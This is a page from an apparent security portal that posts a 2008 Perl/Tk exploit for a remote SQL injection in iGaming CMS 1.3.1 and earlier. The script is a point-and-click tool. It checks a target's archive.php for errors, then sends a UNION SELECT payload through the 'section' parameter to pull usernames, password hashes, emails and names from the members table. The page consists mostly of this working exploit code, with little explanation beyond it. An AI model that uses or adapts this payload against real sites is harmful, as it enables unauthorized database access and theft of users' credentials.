Members Login

Rss Feeds

Get our latest content via RSS feeds.

Report a Vulnerability

Report a vulnerability or exploit that you have found to SecuMania.
vul[at]SecuMania.org

 

Latest Comments

I cant say I feel sorry for him, stupid spammer got what he deserved. We all know how it feels to op...
thanks smiley
hi webmaster,plz help me to find any information about account harvesting and traversal path attack ...
Hello Webmasters My name is Nikolai. I am making an organization for the protection internet users f...
good job you are the best . mgharba talmout :d
Hello, The reported problem has been fixed. Regards, Catalina Danila Online Rent Customer Supp...
Not Vulnerable: Luis Wang netOffice Dwins 1.3.1 visit website http://netofficedwins .sourceforge.ne...
Current version of script corrected. Security patch available to registered users in the user foru...
But i think to protect the password is not needed because it's not used in the SQL-Execute statement...
you may find that your hotfix doesnt stop the password field from having SQL injected into it. This ...

Who's Online

Total: 25
Members: 0 / Guests: 25
No members online

Packet Storm

Visits today: 627
Visits yesterday: 871
Visits month: 8652
Visits total: 466031
Pages total: 8734847
iGaming CMS <= 1.3.1 Remote SQL Injection Exploit Print E-mail
0
Friday, 11 January 2008

iGaming CMS <= 1.3.1 Remote SQL Injection Exploit
Author: Eugene Minaev
Date: 2008-01-11
Download: exploits , vulnerabilities , articles , iGaming CMS <= 1.3.1 Remote SQL Injection Exploit

#!/usr/bin/perl
 
  use Tk;
  use Tk::BrowseEntry;
  use Tk::DialogBox;
  use LWP::UserAgent;
 
  $mw = new MainWindow(title => "UnderWHAT?!" );
 
  $mw->geometry ( '395x180' ) ;
  $mw->resizable(0,0);
 
  $mw->Label(-text => '', -font => '{Verdana} 2',-foreground=>'red')->pack();
  $mw->Label(-text => 'iGaming cms <= 1.3.1 Remote Sql Injection', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
  $mw->Label(-text => 'found by gemaglabin [ mafia of antichat ]', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
  $mw->Label(-text => '', -font => '{Tahoma} 2 bold',-foreground=>'red')->pack();
 
 
  $fleft  = $mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
  $fright = $mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;
 
  $url      = 'http://test2.ru/igaming/';
  $user_id  = '1';
  $prefix   = 'sp_';
  $table    = 'users';
  $report   = '';
  
 
 
  $fleft->Label ( -text => 'Path to site index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
  $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $url) ->pack ( -side => "top" , -anchor => 'w' ) ;
 
  $fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;
  $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;
 
  $fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
  $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $hash) ->pack ( -side => "top" , -anchor => 'w' ) ;
 
  $fright->Label( -text => ' ')->pack();
  $fleft->Label( -text => ' ')->pack();
  
  $fleft->Label ( -text => "Test site vulnerability", -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
  $fright->Button(-text    => "Test site vulnerability",
                  -relief => "groove",
                  -width => '30',
                  -font => '{Verdana} 8 bold',
                  -activeforeground => 'red',
                  -command => &test_vuln
                 )->pack();
           
           
  $fleft->Label ( -text => "Get all possible data ", -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
  $fright->Button(-text    => 'Get data from database',
                  -relief => "groove",
                  -width => '30',
                  -font => '{Verdana} 8 bold',
                  -activeforeground => 'red',
                  -command => &get_hash
                 )->pack();
          
  
  MainLoop();
  
  sub get_hash()
  {
    $xpl = LWP::UserAgent->new( ) or die;
    $InfoWindow=$mw->DialogBox(-title   => 'get hash from database', -buttons => ["OK"]);
    $res = $xpl->post($url."archive.php",['section'=>'-1 union select 1,2,concat_ws(char(32),pseudo,pass,email,nom),4 from '.$prefix.'members where id='.$user_id.'/*']);
    if($res->as_string =~ /Date Posted: (.*)</)
    {
      $hash = $1;
    }
  }
 
   
  sub test_vuln()
  {
    $InfoWindow=$mw->DialogBox(-title   => 'test site vulnerability', -buttons => ["OK"]);
    $InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
    $InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
    $InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
    $xpl = LWP::UserAgent->new( ) or die;
    $res = $xpl->post($url."archive.php",['section'=>"'"]);
    if($res->as_string =~ /Fatal error/i ) { $hash='SITE VULNERABLE'}
    else { $hash = 'SITE UNVULNERABLE'} 
  }
 

Hits: 211
Comments (0)add
Write comment
quote
bold
italicize
underline
strike
url
image
quote
quote
smile
wink
laugh
grin
angry
sad
shocked
cool
tongue
kiss
cry
smaller | bigger

security image
Write the displayed characters


busy
 
< Prev   Next >

Polls

How do you rate the SecuMania Security Portal?
 

web design company
Warning: file_put_contents() failed to open stream: Permission denied in /home/inowweb/public_html/secumania.org/index.php on line 741